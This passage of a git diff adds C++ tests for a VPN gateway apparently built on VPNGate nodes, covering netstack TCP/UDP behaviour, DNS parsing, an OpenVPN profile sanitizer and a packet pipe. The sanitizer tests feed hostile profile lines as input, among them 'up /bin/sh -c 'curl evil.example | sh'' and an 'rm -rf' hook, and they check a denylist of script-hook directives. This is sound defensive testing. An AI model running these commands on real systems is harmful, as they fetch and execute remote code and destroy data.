+ read_ec = ec; + failed = true; + return; + } + got.insert(got.end(), rbuf.begin(), + rbuf.begin() + static_cast(n)); + if (got.size() < kTotal) read_more(); + }); + }; + read_more(); + + CHECK(fx.run_until([&] { return failed || got.size() >= kTotal; }, + std::chrono::seconds(20))); + CHECK_EQ(read_ec, std::error_code{}); + CHECK_EQ(got.size(), kTotal); + CHECK(got == payload); + CHECK_EQ(stream->bytes_read(), uint64_t{kTotal}); +} + +OVG_TEST(netstack_tcp_connect_refused) { + Fixture fx; + TcpPeer peer; + peer.link = &fx.link(); + peer.refuse = true; + fx.link().on_tx = [&](const std::vector &p) { peer.on_tx(p); }; + + auto netif = fx.attach(test_cfg("10.0.0.2", "node-a")); + CHECK(netif != nullptr); + + std::error_code ec; + auto stream = fx.connect(netif, "93.184.216.34", 81, Millis{3000}, &ec); + CHECK(stream == nullptr); + CHECK_EQ(ec, make_error_code(Error::ConnectionRefused)); + CHECK_EQ(netif->stats().tcp_failed, uint64_t{1}); + CHECK_EQ(netif->stats().tcp_opened, uint64_t{0}); +} + +// A connect whose SYN is never answered must fail with Timeout on our own +// deadline, well before lwIP's SYN retransmit budget runs out. +OVG_TEST(netstack_tcp_connect_timeout) { + Fixture fx; // no peer attached: packets go nowhere + + auto netif = fx.attach(test_cfg("10.0.0.2", "node-a")); + CHECK(netif != nullptr); + + std::error_code ec; + auto stream = fx.connect(netif, "93.184.216.34", 80, Millis{150}, &ec); + CHECK(stream == nullptr); + CHECK_EQ(ec, make_error_code(Error::Timeout)); + CHECK_GT(fx.link().tx_packets, size_t{0}); +} + +// Tearing the netif down under a live connection must abort it, not leave a PCB +// pointing at a removed interface. +OVG_TEST(netstack_shutdown_aborts_live_streams) { + Fixture fx; + TcpPeer peer; + peer.link = &fx.link(); + fx.link().on_tx = [&](const std::vector &p) { peer.on_tx(p); }; + + auto netif = fx.attach(test_cfg("10.0.0.2", "node-a")); + CHECK(netif != nullptr); + + auto stream = fx.connect(netif, "93.184.216.34", 80, Millis{3000}); + CHECK(stream != nullptr); + CHECK(stream->is_open()); + + std::vector rbuf(64); + std::error_code read_ec; + bool read_done = false; + stream->async_read_some(asio::buffer(rbuf), + [&](const std::error_code &ec, size_t n) { + read_ec = ec; + (void)n; + read_done = true; + }); + + netif->shutdown(); + CHECK(fx.run_until([&] { return read_done; }, std::chrono::seconds(3))); + CHECK_EQ(read_ec, make_error_code(Error::EgressGone)); + CHECK(!stream->is_open()); + + // And the stream stays usable-as-an-object afterwards. This is not a detail: + // abort_from_netif() drops the stream's reference to the netif so the netif + // can finish dying, while the caller still holds the stream -- and the caller + // is a SOCKS5 relay whose next move on a failed read is to close both sides. + // Every method here has to answer rather than reach through the netif it no + // longer has. + std::error_code late_read_ec, late_write_ec; + bool late_read = false, late_write = false; + stream->shutdown_send(); + stream->async_read_some(asio::buffer(rbuf), + [&](const std::error_code &ec, size_t) { + late_read_ec = ec; + late_read = true; + }); + stream->async_write(asio::buffer("x", 1), + [&](const std::error_code &ec, size_t) { + late_write_ec = ec; + late_write = true; + }); + stream->close(); + stream->close(); // idempotent + CHECK(fx.run_until([&] { return late_read && late_write; }, + std::chrono::seconds(3))); + CHECK_NE(late_read_ec, std::error_code{}); + CHECK_NE(late_write_ec, std::error_code{}); +} + +// The same contract on the UDP side, which releases its netif the same way. +OVG_TEST(netstack_shutdown_aborts_live_udp_sockets) { + Fixture fx; + UdpPeer peer; + peer.link = &fx.link(); + fx.link().on_tx = [&](const std::vector &p) { peer.on_tx(p); }; + + auto netif = fx.attach(test_cfg("10.0.0.2", "node-a")); + CHECK(netif != nullptr); + auto sock = fx.open_udp(netif); + CHECK(sock != nullptr); + + std::vector rbuf(512); + std::error_code recv_ec; + bool received = false; + sock->async_receive_from( + asio::buffer(rbuf), + [&](const std::error_code &ec, size_t, const Endpoint &) { + recv_ec = ec; + received = true; + }); + + netif->shutdown(); + CHECK(fx.run_until([&] { return received; }, std::chrono::seconds(3))); + CHECK_EQ(recv_ec, make_error_code(Error::EgressGone)); + CHECK(!sock->is_open()); + + std::error_code late_send_ec; + bool late_send = false; + sock->async_send_to(asio::buffer("x", 1), + Endpoint(*IpAddress::parse("8.8.8.8"), 53), + [&](const std::error_code &ec, size_t) { + late_send_ec = ec; + late_send = true; + }); + sock->close(); + sock->close(); + CHECK(fx.run_until([&] { return late_send; }, std::chrono::seconds(3))); + CHECK_NE(late_send_ec, std::error_code{}); +} + +// --------------------------------------------------------------------------- +// UDP +// --------------------------------------------------------------------------- + +OVG_TEST(netstack_udp_round_trip) { + Fixture fx; + UdpPeer peer; + peer.link = &fx.link(); + fx.link().on_tx = [&](const std::vector &p) { peer.on_tx(p); }; + + auto netif = fx.attach(test_cfg("10.0.0.2", "node-a")); + CHECK(netif != nullptr); + + auto sock = fx.open_udp(netif); + CHECK(sock != nullptr); + CHECK(sock->is_open()); + CHECK_EQ(sock->local_endpoint().address().to_string(), + std::string("10.0.0.2")); + CHECK_NE(sock->local_endpoint().port(), uint16_t{0}); + CHECK_EQ(netif->stats().udp_active, int64_t{1}); + + const Endpoint server(*IpAddress::parse("8.8.8.8"), 53); + const std::string msg = "\x12\x34 hello over udp"; + + std::vector rbuf(512); + std::error_code recv_ec; + size_t got = 0; + Endpoint from; + bool received = false; + sock->async_receive_from( + asio::buffer(rbuf), + [&](const std::error_code &ec, size_t n, const Endpoint &f) { + recv_ec = ec; + got = n; + from = f; + received = true; + }); + + std::error_code send_ec; + bool sent = false; + sock->async_send_to(asio::buffer(msg), server, + [&](const std::error_code &ec, size_t n) { + send_ec = ec; + (void)n; + sent = true; + }); + CHECK(fx.run_until([&] { return sent; }, std::chrono::seconds(3))); + CHECK_EQ(send_ec, std::error_code{}); + + CHECK(fx.run_until([&] { return received; }, std::chrono::seconds(3))); + CHECK_EQ(recv_ec, std::error_code{}); + CHECK_EQ(std::string(rbuf.data(), got), msg); + // Inbound datagrams must carry the real sender, not the socket's peer: SOCKS5 + // UDP ASSOCIATE has to put it back in the reply header. + CHECK_EQ(from.to_string(), std::string("8.8.8.8:53")); + CHECK_EQ(peer.received.size(), size_t{1}); + + sock->close(); + fx.settle(); + CHECK(!sock->is_open()); + CHECK_EQ(netif->stats().udp_active, int64_t{0}); +} + +// A datagram larger than the caller's buffer is truncated, not an error, and +// not a buffer overrun -- the recvfrom(2) contract the header promises. +OVG_TEST(netstack_udp_truncates_oversized_datagrams) { + Fixture fx; + UdpPeer peer; + peer.link = &fx.link(); + fx.link().on_tx = [&](const std::vector &p) { peer.on_tx(p); }; + + auto netif = fx.attach(test_cfg("10.0.0.2", "node-a")); + CHECK(netif != nullptr); + auto sock = fx.open_udp(netif); + CHECK(sock != nullptr); + + const std::string msg(600, 'x'); + std::vector rbuf(64); + size_t got = 0; + std::error_code recv_ec; + bool received = false; + sock->async_receive_from( + asio::buffer(rbuf), + [&](const std::error_code &ec, size_t n, const Endpoint &) { + recv_ec = ec; + got = n; + received = true; + }); + bool sent = false; + sock->async_send_to(asio::buffer(msg), + Endpoint(*IpAddress::parse("8.8.8.8"), 53), + [&](const std::error_code &, size_t) { sent = true; }); + CHECK(fx.run_until([&] { return sent && received; }, + std::chrono::seconds(3))); + CHECK_EQ(recv_ec, std::error_code{}); + CHECK_EQ(got, size_t{64}); + CHECK_EQ(std::string(rbuf.data(), got), msg.substr(0, 64)); +} + +// Resolving is the caller's job, so that it happens through the same egress the +// datagram will take (stream.h). A name here is a programming error, not +// something to quietly look up. +OVG_TEST(netstack_udp_rejects_unresolved_destinations) { + Fixture fx; + + auto netif = fx.attach(test_cfg("10.0.0.2", "node-a")); + CHECK(netif != nullptr); + auto sock = fx.open_udp(netif); + CHECK(sock != nullptr); + + std::error_code ec; + bool done = false; + sock->async_send_to(asio::buffer("x", 1), Endpoint("example.com", 53), + [&](const std::error_code &e, size_t) { + ec = e; + done = true; + }); + CHECK(fx.run_until([&] { return done; }, std::chrono::seconds(3))); + CHECK_EQ(ec, make_error_code(Error::NotSupported)); +} + +// --------------------------------------------------------------------------- +// DNS wire format +// --------------------------------------------------------------------------- + +OVG_TEST(dns_build_query_shape) { + std::vector q; + CHECK(dns::build_query("www.example.com", 0xBEEF, &q)); + CHECK_EQ(q.size(), size_t{12 + 17 + 4}); + CHECK_EQ(int(q[0]), 0xBE); + CHECK_EQ(int(q[1]), 0xEF); + CHECK_EQ(int(q[2]), 0x01); // RD + CHECK_EQ(int(q[5]), 1); // QDCOUNT + CHECK_EQ(int(q[12]), 3); + CHECK_EQ(std::string(reinterpret_cast(&q[13]), 3), + std::string("www")); + CHECK_EQ(int(q[q.size() - 3]), 1); // QTYPE = A + CHECK_EQ(int(q[q.size() - 1]), 1); // QCLASS = IN + + // A trailing root dot is implied by the encoding, not an extra label. + std::vector q2; + CHECK(dns::build_query("www.example.com.", 1, &q2)); + CHECK_EQ(q2.size(), q.size()); +} + +OVG_TEST(dns_build_query_rejects_bad_names) { + std::vector q; + CHECK(!dns::build_query("", 1, &q)); + CHECK(!dns::build_query(".", 1, &q)); + CHECK(!dns::build_query("a..b", 1, &q)); + CHECK(!dns::build_query(std::string(64, 'a') + ".com", 1, &q)); + CHECK(!dns::build_query(std::string(300, 'a'), 1, &q)); +} + +namespace { + +// Appends a compressed name pointing at offset 12 (the question's QNAME). +void append_ptr_name(std::vector &v) { + v.push_back(0xC0); + v.push_back(0x0C); +} + +void append_a_record(std::vector &v, uint32_t ttl, const uint8_t ip4[4]) { + append_ptr_name(v); + v.insert(v.end(), {0x00, 0x01, 0x00, 0x01}); // A, IN + v.push_back(uint8_t(ttl >> 24)); + v.push_back(uint8_t(ttl >> 16)); + v.push_back(uint8_t(ttl >> 8)); + v.push_back(uint8_t(ttl)); + v.insert(v.end(), {0x00, 0x04}); + v.insert(v.end(), ip4, ip4 + 4); +} + +} // namespace + +OVG_TEST(dns_parse_response_extracts_a_records) { + std::vector r; + CHECK(dns::build_query("example.com", 0x1234, &r)); + r[2] = 0x81; // QR + RD + r[3] = 0x80; // RA, rcode 0 + r[7] = 3; // ANCOUNT + + const uint8_t a1[4] = {93, 184, 216, 34}; + const uint8_t a2[4] = {1, 2, 3, 4}; + append_a_record(r, 300, a1); + // A CNAME in the middle must be stepped over, not mistaken for an address. + append_ptr_name(r); + r.insert(r.end(), {0x00, 0x05, 0x00, 0x01, 0, 0, 1, 44, 0x00, 0x02, 0xC0, 0x0C}); + append_a_record(r, 60, a2); + + dns::ParseResult out; + CHECK(dns::parse_response(r.data(), r.size(), &out)); + CHECK_EQ(out.id, uint16_t{0x1234}); + CHECK_EQ(out.rcode, 0); + CHECK_EQ(out.addrs.size(), size_t{2}); + CHECK_EQ(out.addrs[0].to_string(), std::string("93.184.216.34")); + CHECK_EQ(out.addrs[1].to_string(), std::string("1.2.3.4")); + // The shortest TTL in the set governs the whole set. + CHECK_EQ(out.min_ttl, uint32_t{60}); +} + +OVG_TEST(dns_parse_response_reports_rcode) { + std::vector r; + CHECK(dns::build_query("nope.example", 7, &r)); + r[2] = 0x81; + r[3] = 0x83; // NXDOMAIN + + dns::ParseResult out; + CHECK(dns::parse_response(r.data(), r.size(), &out)); + CHECK_EQ(out.rcode, 3); + CHECK(out.addrs.empty()); +} + +OVG_TEST(dns_parse_response_rejects_malformed) { + dns::ParseResult out; + const uint8_t tiny[4] = {0, 1, 2, 3}; + CHECK(!dns::parse_response(tiny, sizeof(tiny), &out)); + + // A well-formed header claiming an answer that is not there. + std::vector r; + CHECK(dns::build_query("example.com", 1, &r)); + r[2] = 0x81; + r[7] = 1; // ANCOUNT = 1, but no answer follows + CHECK(!dns::parse_response(r.data(), r.size(), &out)); + + // A query, not a response. + std::vector q; + CHECK(dns::build_query("example.com", 1, &q)); + CHECK(!dns::parse_response(q.data(), q.size(), &out)); +} + +// Regression, and the bug that hid behind every green test in this file: the +// periodic timer re-arms itself for as long as the Stack is alive, so it is +// outstanding io_context work that no work-guard release can retire. Tests +// never noticed because they drive the context in slices and stop caring; a +// service calls run() once and waits for it to return. It waited forever -- +// after logging a complete, correct graceful shutdown. `direct` mode, which +// builds no stack at all, exited fine, which is exactly why this went unseen. +OVG_TEST(stack_stop_lets_the_io_context_drain) { + asio::io_context io; + Stack stack{io}; + + // The service's work guard, released the way shutdown releases it. On its own + // this settles nothing: the timer is not a guard, it is real pending work. + auto work = asio::make_work_guard(io); + work.reset(); + + const auto t0 = Clock::now(); + io.run_for(std::chrono::milliseconds(120)); + // Still ticking, so the slice was used up rather than returning early. + CHECK(Clock::now() - t0 >= std::chrono::milliseconds(100)); + + stack.stop(); + + const auto t1 = Clock::now(); + io.run_for(std::chrono::seconds(3)); + const auto took = Clock::now() - t1; + CHECK(took < std::chrono::seconds(1)); + CHECK(io.stopped()); + + // Idempotent, and safe after the context has drained: the post has nowhere to + // run, which must not be a problem for a shutdown path that may be reached + // twice. + stack.stop(); +} diff --git a/tests/test_ovpn.cpp b/tests/test_ovpn.cpp new file mode 100644 index 0000000..a6a0545 --- /dev/null +++ b/tests/test_ovpn.cpp @@ -0,0 +1,529 @@ +// Profile sanitizer + packet pipe. +// +// These are the two pieces of the ovpn module that can be tested without a +// server on the other end. TunnelClient itself needs a live node and is covered +// by the end-to-end check; what is testable here is the part that decides what +// we are willing to hand openvpn3, and the part that carries IP packets to it. +#include +#include +#include + +#include +#include + +#include "harness.h" +#include "ovpn/packet_pipe.h" +#include "ovpn/profile_sanitizer.h" +#include "ovpn/tunnel_client.h" + +using namespace ovg; +using namespace ovg::ovpn; + +namespace { + +// Shaped like a real VPNGate row: SoftEther boilerplate comments, an +// AES-128-CBC/SHA1 crypto suite, an inline CA and client keypair. +std::string sample_profile() { + return + "# OpenVPN Client Config for VPN Gate\n" + "# Note: Windows users can use this file with OpenVPN Client\n" + "\n" + "dev tun\n" + "proto tcp\n" + "remote 219.100.37.1 443\n" + "cipher AES-128-CBC\n" + "auth SHA1\n" + "resolv-retry infinite\n" + "nobind\n" + "persist-key\n" + "persist-tun\n" + "client\n" + "verb 3\n" + "\n" + "-----BEGIN CERTIFICATE-----\n" + "MIIDdTCCAl2gAwIBAgIJAKp\n" + "-----END CERTIFICATE-----\n" + "\n" + "\n" + "-----BEGIN CERTIFICATE-----\n" + "MIIDaTCCAlGgAwIBAgIBATA\n" + "-----END CERTIFICATE-----\n" + "\n" + "\n" + "-----BEGIN PRIVATE KEY-----\n" + "MIIEvQIBADANBgkqhkiG9w0\n" + "-----END PRIVATE KEY-----\n" + "\n"; +} + +bool contains(const std::string &text, const std::string &needle) { + return text.find(needle) != std::string::npos; +} + +bool has_line(const std::string &text, const std::string &line) { + return contains("\n" + text, "\n" + line + "\n"); +} + +// CHECK() only prints the expression, which is useless inside a loop over +// names. These report the offending item on both sides of the comparison. +void expect_absent(const std::string &text, const std::string &needle) { + CHECK_EQ(contains(text, needle) ? "leaked: " + needle : "absent: " + needle, + "absent: " + needle); +} + +void expect_denied(const char *name, bool want) { + const std::string got = + std::string(name) + (is_denied_directive(name) ? " -> denied" : " -> kept"); + CHECK_EQ(got, std::string(name) + (want ? " -> denied" : " -> kept")); +} + +size_t open_fd_count() { + size_t n = 0; + for (const auto &e : std::filesystem::directory_iterator("/proc/self/fd")) { + (void)e; + ++n; + } + return n; +} + +} // namespace + +OVG_TEST(SanitizerAcceptsARealProfile) { + SanitizedProfile sp; + std::string err; + CHECK(sanitize_profile(sample_profile(), {}, &sp, &err)); + + CHECK(sp.has_ca); + CHECK(sp.has_client_cert); + CHECK(!sp.wants_userpass); + CHECK_EQ(sp.remotes.size(), size_t(1)); + CHECK_EQ(sp.remotes[0].host, std::string("219.100.37.1")); + CHECK_EQ(sp.remotes[0].port, 443); + CHECK(sp.remotes[0].proto == vpngate::Proto::Tcp); + + // Our canonical header is present... + CHECK(has_line(sp.text, "client")); + CHECK(has_line(sp.text, "dev tun")); + CHECK(has_line(sp.text, "remote 219.100.37.1 443 tcp")); + // ...and the crypto directives we must not touch survived verbatim. + CHECK(has_line(sp.text, "cipher AES-128-CBC")); + CHECK(has_line(sp.text, "auth SHA1")); + + // Inline material is preserved whole. + CHECK(contains(sp.text, "\n-----BEGIN CERTIFICATE-----")); + CHECK(contains(sp.text, "-----END PRIVATE KEY-----\n")); +} + +OVG_TEST(SanitizerStripsScriptHooks) { + std::string raw = sample_profile(); + raw += + "up /bin/sh -c 'curl evil.example | sh'\n" + "down /bin/rm -rf /tmp/x\n" + "tls-verify /tmp/verify.sh\n" + "plugin /tmp/evil.so\n" + "script-security 2\n" + "management 127.0.0.1 7505\n" + "http-proxy 10.0.0.1 8080\n" + "socks-proxy 10.0.0.1 1080\n" + "daemon\n" + "user root\n" + "chroot /\n" + "log /tmp/x.log\n"; + + SanitizedProfile sp; + std::string err; + CHECK(sanitize_profile(raw, {}, &sp, &err)); + + for (const char *bad : {"/bin/sh", "/bin/rm", "verify.sh", "evil.so", + "script-security", "management", "http-proxy", + "socks-proxy", "7505", "10.0.0.1", "x.log"}) { + expect_absent(sp.text, bad); + } + for (const char *line : {"daemon", "user root", "chroot /"}) { + CHECK_EQ(has_line(sp.text, line) ? std::string("leaked: ") + line + : std::string("absent: ") + line, + std::string("absent: ") + line); + } + + // And every removal is reported, so an operator can see what a node tried. + CHECK(sp.dropped.size() >= 10); +} + +OVG_TEST(SanitizerDeniesTheHazardousDirectives) { + for (const char *name : {"up", "down", "tls-verify", "plugin", + "script-security", "management", "http-proxy", + "socks-proxy", "daemon", "user", "group", "chroot", + "ifconfig", "push"}) { + expect_denied(name, true); + } + // The other half of the contract: a denylist that swallowed these would + // quietly break every node. + for (const char *name : {"cipher", "auth", "tls-crypt", "remote-cert-tls", + "auth-user-pass", "float", "keepalive", + "data-ciphers", "auth-nocache", "tun-mtu"}) { + expect_denied(name, false); + } +} + +OVG_TEST(SanitizerPinsTheChosenRemote) { + std::string raw = sample_profile(); + // A second remote the selector never scored, plus randomization to make sure + // the core would actually have used it. + raw += "remote 1.2.3.4 1194 udp\nremote-random\n"; + + vpngate::Remote pin; + pin.host = "219.100.37.1"; + pin.port = 1195; + pin.proto = vpngate::Proto::Udp; + + SanitizeOptions opt; + opt.pin_remote = &pin; + + SanitizedProfile sp; + std::string err; + CHECK(sanitize_profile(raw, opt, &sp, &err)); + + CHECK_EQ(sp.remotes.size(), size_t(1)); + CHECK(has_line(sp.text, "remote 219.100.37.1 1195 udp")); + CHECK(has_line(sp.text, "proto udp")); + expect_absent(sp.text, "1.2.3.4"); + expect_absent(sp.text, "remote-random"); + // The original "remote ... 443" line must be gone too. + expect_absent(sp.text, "443"); +} + +OVG_TEST(SanitizerDropsConnectionBlocks) { + std::string raw = sample_profile(); + raw += + "\n" + "remote 9.9.9.9 1194 udp\n" + "\n"; + + SanitizedProfile sp; + std::string err; + CHECK(sanitize_profile(raw, {}, &sp, &err)); + expect_absent(sp.text, "9.9.9.9"); + expect_absent(sp.text, ""); +} + +OVG_TEST(SanitizerReportsAuthUserPass) { + std::string raw = sample_profile(); + raw += "auth-user-pass /etc/openvpn/creds\n"; + + SanitizedProfile sp; + std::string err; + CHECK(sanitize_profile(raw, {}, &sp, &err)); + CHECK(sp.wants_userpass); + // The path is stripped: credentials come from provide_creds(), and leaving + // the argument would make openvpn3 try to open a file that is not there. + CHECK(has_line(sp.text, "auth-user-pass")); + expect_absent(sp.text, "/etc/openvpn/creds"); +} + +OVG_TEST(SanitizerDropsFileReferencedKeyMaterial) { + std::string raw = sample_profile(); + raw += "tls-auth /etc/openvpn/ta.key 1\ncrl-verify /etc/openvpn/crl.pem\n"; + + SanitizedProfile sp; + std::string err; + CHECK(sanitize_profile(raw, {}, &sp, &err)); + expect_absent(sp.text, "ta.key"); + expect_absent(sp.text, "crl.pem"); + // The inline material in the same profile must survive untouched. + CHECK(contains(sp.text, "")); +} + +OVG_TEST(SanitizerRemovesCompressionWhenDisabled) { + std::string raw = sample_profile(); + raw += "comp-lzo no\ncompress lz4\n"; + + SanitizeOptions opt; + opt.allow_compression = false; + SanitizedProfile sp; + std::string err; + CHECK(sanitize_profile(raw, opt, &sp, &err)); + expect_absent(sp.text, "comp-lzo"); + expect_absent(sp.text, "compress"); + + opt.allow_compression = true; + CHECK(sanitize_profile(raw, opt, &sp, &err)); + CHECK(has_line(sp.text, "comp-lzo no")); +} + +OVG_TEST(SanitizerRejectsUnusableProfiles) { + SanitizedProfile sp; + std::string err; + + CHECK(!sanitize_profile("", {}, &sp, &err)); + + // TAP: layer 2 frames, which nothing downstream understands. + { + std::string raw = sample_profile(); + raw.replace(raw.find("dev tun"), 7, "dev tap0"); + CHECK(!sanitize_profile(raw, {}, &sp, &err)); + CHECK(contains(err, "TAP")); + } + // No CA and no peer-fingerprint: nothing to authenticate the server with. + { + std::string raw = sample_profile(); + const size_t b = raw.find(""); + const size_t e = raw.find("") + 6; + raw.erase(b, e - b); + CHECK(!sanitize_profile(raw, {}, &sp, &err)); + CHECK(contains(err, "ca")); + } + // No remote at all. + { + std::string raw = sample_profile(); + const size_t b = raw.find("remote "); + raw.erase(b, raw.find('\n', b) + 1 - b); + CHECK(!sanitize_profile(raw, {}, &sp, &err)); + CHECK(contains(err, "remote")); + } + // Unterminated inline block: the rest of the file would silently vanish + // into the block body. + { + std::string raw = sample_profile(); + raw.replace(raw.find(""), 6, ""); + CHECK(!sanitize_profile(raw, {}, &sp, &err)); + CHECK(contains(err, "unterminated")); + } + // Binary garbage where a profile should be. + { + std::string raw = sample_profile(); + raw += "\x01\x02\x03"; + CHECK(!sanitize_profile(raw, {}, &sp, &err)); + CHECK(contains(err, "control byte")); + } + // Oversized. + { + SanitizeOptions opt; + opt.max_bytes = 100; + CHECK(!sanitize_profile(sample_profile(), opt, &sp, &err)); + } +} + +OVG_TEST(SanitizerIsCaseInsensitive) { + std::string raw = sample_profile(); + raw += "UP /bin/sh\n\nremote 9.9.9.9 1194\n\n"; + + SanitizedProfile sp; + std::string err; + CHECK(sanitize_profile(raw, {}, &sp, &err)); + expect_absent(sp.text, "/bin/sh"); + expect_absent(sp.text, "9.9.9.9"); +} + +OVG_TEST(SanitizedOutputIsStable) { + // Sanitizing twice must be a no-op the second time round -- otherwise the + // "regenerated" set is incomplete and our own header would accumulate. + SanitizedProfile once, twice; + std::string err; + CHECK(sanitize_profile(sample_profile(), {}, &once, &err)); + CHECK(sanitize_profile(once.text, {}, &twice, &err)); + CHECK_EQ(once.text, twice.text); +} + +// --- packet pipe ----------------------------------------------------------- + +OVG_TEST(PacketPipeCarriesDatagramsWithBoundaries) { + asio::io_context io; + PacketPipe pipe(io); + std::string err; + CHECK(pipe.open(256 * 1024, &err)); + CHECK(pipe.is_open()); + + const int peer = pipe.release_peer_fd(); + CHECK(peer >= 0); + CHECK(pipe.peer_released()); + CHECK_EQ(pipe.release_peer_fd(), -1); // handed over exactly once + + // Three writes of different sizes must arrive as three reads of exactly + // those sizes. This is the property the whole design rests on: a datagram + // socketpair preserves IP packet boundaries, a stream one would not. + const std::string a(40, 'a'), b(1, 'b'), c(1400, 'c'); + CHECK(pipe.send_packet(a.data(), a.size()) == PacketPipe::SendStatus::Ok); + CHECK(pipe.send_packet(b.data(), b.size()) == PacketPipe::SendStatus::Ok); + CHECK(pipe.send_packet(c.data(), c.size()) == PacketPipe::SendStatus::Ok); + + char buf[4096]; + for (const std::string *expect : {&a, &b, &c}) { + const ssize_t n = ::recv(peer, buf, sizeof(buf), 0); + CHECK(n >= 0); + CHECK_EQ(std::string(buf, static_cast(n)), *expect); + } + + const auto ctr = pipe.counters(); + CHECK_EQ(ctr.tx_packets, uint64_t(3)); + CHECK_EQ(ctr.tx_bytes, uint64_t(a.size() + b.size() + c.size())); + CHECK_EQ(ctr.tx_dropped, uint64_t(0)); + + ::close(peer); +} + +OVG_TEST(PacketPipeReadsWhatThePeerWrites) { + asio::io_context io; + PacketPipe pipe(io); + std::string err; + CHECK(pipe.open(0, &err)); + const int peer = pipe.release_peer_fd(); + CHECK(peer >= 0); + + const std::string payload(700, 'x'); + CHECK_EQ(::send(peer, payload.data(), payload.size(), 0), + static_cast(payload.size())); + + char buf[4096]; + std::error_code ec; + const size_t n = pipe.socket().receive(asio::buffer(buf), 0, ec); + CHECK(!ec); + CHECK_EQ(n, payload.size()); + pipe.note_received(n); + CHECK_EQ(pipe.counters().rx_packets, uint64_t(1)); + CHECK_EQ(pipe.counters().rx_bytes, uint64_t(payload.size())); + + ::close(peer); +} + +OVG_TEST(PacketPipeRejectsOversizedAndEmptyPackets) { + asio::io_context io; + PacketPipe pipe(io); + std::string err; + CHECK(pipe.open(0, &err)); + + const std::string huge(kMaxPacketSize + 1, 'z'); + CHECK(pipe.send_packet(huge.data(), huge.size()) == + PacketPipe::SendStatus::Dropped); + CHECK(pipe.send_packet(huge.data(), 0) == PacketPipe::SendStatus::Dropped); + CHECK_EQ(pipe.counters().tx_dropped, uint64_t(2)); + CHECK_EQ(pipe.counters().tx_packets, uint64_t(0)); +} + +OVG_TEST(PacketPipeReportsAClosedPeer) { + asio::io_context io; + PacketPipe pipe(io); + std::string err; + CHECK(pipe.open(0, &err)); + const int peer = pipe.release_peer_fd(); + CHECK(peer >= 0); + ::close(peer); + + // Must surface as Closed, not as a SIGPIPE that kills the process. The + // first send after the peer goes away can still be accepted, so retry a + // couple of times; what matters is that we never die and that we do notice. + PacketPipe::SendStatus st = PacketPipe::SendStatus::Ok; + const std::string p(64, 'p'); + for (int i = 0; i < 3 && st != PacketPipe::SendStatus::Closed; ++i) + st = pipe.send_packet(p.data(), p.size()); + CHECK(st == PacketPipe::SendStatus::Closed); +} + +OVG_TEST(PacketPipeDropsRatherThanBlockingWhenTheQueueFills) { + asio::io_context io; + PacketPipe pipe(io); + std::string err; + // Smallest buffer the kernel will grant, so the queue fills quickly. + CHECK(pipe.open(2048, &err)); + const int peer = pipe.release_peer_fd(); + CHECK(peer >= 0); + + // Nobody is reading `peer`. A blocking write here would wedge the io_context + // thread for as long as the tunnel is congested; the contract is that we + // drop the packet instead and let TCP above notice. + const std::string p(1400, 'q'); + bool saw_drop = false; + for (int i = 0; i < 10000 && !saw_drop; ++i) { + if (pipe.send_packet(p.data(), p.size()) == PacketPipe::SendStatus::Dropped) + saw_drop = true; + } + CHECK(saw_drop); + CHECK(pipe.counters().tx_dropped > 0); + + ::close(peer); +} + +OVG_TEST(PacketPipeOwnsExactlyTheDescriptorsItShould) { + asio::io_context io; + // asio builds its epoll reactor lazily, on the first socket that registers + // with it, so a cold io_context would make the first pipe look like it cost + // more descriptors than it did. Warm it up before taking the baseline. + { + PacketPipe warmup(io); + std::string err; + CHECK(warmup.open(0, &err)); + } + const size_t before = open_fd_count(); + + // Never released: the pipe must close both ends. + { + PacketPipe pipe(io); + std::string err; + CHECK(pipe.open(0, &err)); + CHECK_EQ(open_fd_count(), before + 2); + } + CHECK_EQ(open_fd_count(), before); + + // Released: openvpn3 owns the peer now, so the destructor must leave it + // alone. Closing it here would pull the tun out from under a live session. + int peer = -1; + { + PacketPipe pipe(io); + std::string err; + CHECK(pipe.open(0, &err)); + peer = pipe.release_peer_fd(); + CHECK(peer >= 0); + } + CHECK(::fcntl(peer, F_GETFD) >= 0); + ::close(peer); + CHECK_EQ(open_fd_count(), before); +} + +// --- tunnel client --------------------------------------------------------- + +OVG_TEST(TunnelClientRejectsABadProfileWithoutStarting) { + asio::io_context io; + auto tc = TunnelClient::create(io, OvpnConfig{}); + + vpngate::Node node; + node.host_name = "broken"; + node.ip = "203.0.113.9"; + node.profile = "this is not an openvpn profile\n"; + + const vpngate::Remote r{"203.0.113.9", 443, vpngate::Proto::Tcp}; + + std::string err; + CHECK(!tc->start(node, r, nullptr, &err)); + // The node id has to be in the message: with ~100 nodes churning, an error + // that does not say which one failed is not actionable. + CHECK(contains(err, "broken@203.0.113.9")); + CHECK(tc->state() == TunnelState::Idle); + // A rejected profile must leave no descriptor behind. + CHECK(!tc->pipe().is_open()); +} + +OVG_TEST(TunnelClientStateNamesAreComplete) { + for (auto s : {TunnelState::Idle, TunnelState::Connecting, TunnelState::Up, + TunnelState::Reconnecting, TunnelState::Down}) { + CHECK_NE(std::string(tunnel_state_name(s)), std::string("?")); + } +} + +OVG_TEST(TunnelClientWithoutOpenvpn3FailsCleanly) { + if (TunnelClient::supported()) SKIP("built with openvpn3 linked in"); + + asio::io_context io; + auto tc = TunnelClient::create(io, OvpnConfig{}); + + vpngate::Node node; + node.host_name = "ok"; + node.ip = "203.0.113.10"; + node.profile = sample_profile(); + + const vpngate::Remote r{"203.0.113.10", 443, vpngate::Proto::Tcp}; + + std::string err; + CHECK(!tc->start(node, r, nullptr, &err)); + CHECK(contains(err, "OVG_WITH_TUNNEL")); + CHECK(tc->state() == TunnelState::Idle); + CHECK(!tc->pipe().is_open()); +} diff --git a/tests/test_selector.cpp b/tests/test_selector.cpp new file mode 100644 index 0000000..f6abb7b --- /dev/null +++ b/tests/test_selector.cpp @@ -0,0 +1,512 @@ +// Scoring, history/backoff, and the two-phase selection. +// +// The property that matters most here is that scores are *absolute*: a node's +// score must not depend on which other nodes happen to be in the list. The +// switch controller's "beat the incumbent by 20%" rule is meaningless +// otherwise, because the incumbent's score would drift as the pool changed. +#include + +#include +#include + +#include "harness.h" +#include "selector/history.h" +#include "selector/prober.h" +#include "selector/scorer.h" +#include "selector/selector.h" + +using namespace ovg; +using namespace ovg::selector; +using ovg::vpngate::Node; +using ovg::vpngate::Proto; +using ovg::vpngate::Remote; + +namespace { + +Node make_node(const std::string &name, const std::string &ip, + const std::string &cc, int64_t score, int64_t speed, + int sessions) { + Node n; + n.host_name = name; + n.ip = ip; + n.country_short = cc; + n.country_long = cc; + n.api.score = score; + n.api.speed_bps = speed; + n.api.num_sessions = sessions; + n.api.uptime_ms = 3LL * 86400 * 